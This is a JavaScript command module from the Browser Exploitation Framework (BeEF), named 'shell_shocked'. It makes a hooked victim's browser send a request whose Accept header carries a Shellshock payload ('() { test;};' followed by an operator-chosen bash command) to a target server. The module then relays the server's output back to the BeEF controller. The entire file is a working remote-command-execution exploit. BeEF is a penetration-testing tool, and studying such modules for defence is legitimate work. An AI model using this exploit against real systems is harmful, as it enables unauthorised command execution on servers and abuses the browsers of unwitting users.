Files
beef/modules/exploits/shell_shocked/command.js
2014-09-28 13:44:05 +02:00

29 lines
992 B
JavaScript

//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function () {
try {
var target = "<%=@Target%>";
var command = "<%=@Bash_Command%>";
var xhr = new XMLHttpRequest();
xhr.open("GET", target, true);
xhr.onload = function () {
};
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
}
}
xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command);
xhr.send(null);
}
catch (e){
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message);
}
});